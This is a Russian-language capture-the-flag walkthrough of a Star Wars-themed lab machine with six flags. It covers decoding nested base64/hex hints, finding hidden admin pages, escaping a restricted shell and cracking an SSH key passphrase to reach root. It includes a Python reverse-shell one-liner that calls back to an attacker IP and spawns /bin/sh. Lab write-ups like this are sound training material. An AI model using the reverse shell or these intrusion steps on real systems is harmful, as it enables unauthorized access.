Приветствую! В этот раз сделаем разбор на сложную тачку с 6-ю флагами внутри. Приятного чтения!
Флаг 1
Итак, посмотрим какие порты открыты у данного хоста.
Хммм... мало что понятно. В таком случае проверим баннеры неопределённых портов (tcpwrapped). Это можно сделать при помощи утилиты netcat:
Порт 22, как и предполагалось ssh.
Порт 4899 оказался radmin.
На заметку небольшая хитрость по проверке актуальности информации о портах. Хитрые админы могут путать вас, но могут забыть о банерах приветствия, которые скажут вам много.
Зайдём на 80-й порт и посмотрим что там происходит.
Под надписью 64base цепляет взгляд небольшая запись, похожая на кодировку. Проверим это:
Так мы получаем подсказку, что первый флаг находится в исходном коде страницы.
Длинная и страшная запись в соурс коде и есть наш первый флаг.
Немного поигравшись с кодировками преобразовал HEX в ASCII и получаем флаг.
Однако внутри флага есть ещё кодировка :)
Теперь у нас есть ещё и креды от чего-то... Посмотрим от чего они.
Тут будет много кодировок в кодировке :)
Флаг 2
При просмотре robots.txt видим список неиндексируемых директорий. Среди них будет /admin.
Однако найденные креды не подошли. Ищем дальше.
При просмотре страницы видим небольшую подсказку:
Попробуем зайти на директорию с таким названием.
Тут тоже нас ждёт авторизация, но здесь креды подойдут.
Нам подсказывают, что путь неверный. Снова обратимся к той странице и заметим подсказку.
Теперь путь корректный! Нас переадресовывает ещё на страницу index.php. Просмотрев исходный код, видим следующее:
Недолго думая запихиваем в CyberChef. По тому же принципу расшифровываем кодировки:
Хммм... что-то новенькое! Ссылка на видос. Продолжим нашу охоту за флагами.
Флаг 3
Видео на Youtube особо не помогло нам. Если сами посмотрите, то убедитесь в его ненадобности для решения.
Попробуем всё же пройти авторизацию на странице.
Флаг 4
Переведём кодировку base64 в ASCII и получим новую подсказку. Теперь нам известны аргументы для эксплуатации команд сервера.
Ну и по логике CTF нам написали подсказку как действовать здесь, но многие могли это пропустить.
Вот и 4-й флаг
Флаг 5
В очередной раз преобразуем кодировку во что-то читабельное:
Вспоминаем, что у нас есть порт ssh... Однако под кредами 64base:64base5h377 войти не получится. Мы уже поняли, что у автора есть фетишь на кодировки и делаем следующий мув:
Итак, мы внутри! Для начала осмотримся. Просмотрев вложение в текущей директории находим интересный файл well_done_:D и пробуем его посмотреть.
Однако, табуляцией пользоваться мы не можем... и тут я понял, что у нас командная оболочка не баш, а rbash.
rbash (restricted bash) — это ограниченная версия оболочки Bash, которая ограничивает возможности пользователя.
Теперь нам определённо нужно получить нормальный шелл. Для этого делаем обратный, но сначала нужно понять что есть на хосте. Проверим следующее:
which nc - проверяем где лежит бинарник netcat и есть ли он вообще
which wget
python -v - версия языка python
perl -v
В общем полезного тут мало. Попробуем совсем в наглую поменять оболочку.
Мда... Пробуем далее. Заглянем в переменные окружения:
Другое дело! Теперь посмотрим переменную $PATH
Переменная окружения $PATH — это список директорий, разделённых двоеточием (:), в которых операционная система ищет исполнимые файлы (программы) при запуске команд.
Ну вот и python, perl и ruby справа налево :)
Попробуем прокинуть обратный шелл:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.110",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Уххх зараза! Ладно, давайте просто погуляем по директориям. Это же CTF и здесь могут быть флаги или подсказки в любых местах :)
У нас был интересный бинарник droids. Запустим его прописав в терминале только его имя.
Красиво! Но чем это нам поможет? Жмём Q и видим следующее:
Проверим можем ли мы теперь бросить по системе.
По пути /var/www/html/admin/S3cR37 вы найдёте флаг! Тут нужно просто перекопать всю систему :)
Флаг 6
Посмотрим что на самом деле представляет из себя этот флаг при помощи утилиты file
Это ещё и оказался RSA ключ для ssh.
strings flag5\{TG9vayBJbnNpZGUhIDpECg\=\=\} | /usr/bin/head
Так мы увидим метаданные файла:
На этом моменте моя Kali померала:
И вот результат декодирования метаданных в HEX, а потом в Base64:
Ключик ssh)
Сохраним его в отдельный файл:
Зададим следующие права ключу:
$chmod 400 id_rsa
Ага.. У ключа есть парольная фраза. Попробуем подобрать значение для хэша ключа:
Подключимся к хосту при помощи ключа, зная парольную фразу.
Если возникнет ошибка, то воспользуйтесь следующим ключом.
Заходим под root-ом:
Не буду в очередной раз показывать как мы декодируем ключи и просто покажу результат base64.
base64 -d /var/local/.luke|less.real
Вот такой красивый баннер мы получаем после получения всех флагов.
Заключение
Тачка была непростой. На первых этапах не сразу догадался о том, что там есть кодировка в кодировке. Раньше не особо пользовался CyberChef, но теперь понял насколько он необходим.
Классическая CTF-машинка с той самой логикой выполнения. Очень много внимания к деталям и порой очень неочевидных.
Ну и раз уж эта таска про вселенную "Звёздных войн", которую я очень люблю с самого детства, тогда да прибудет с вами сила!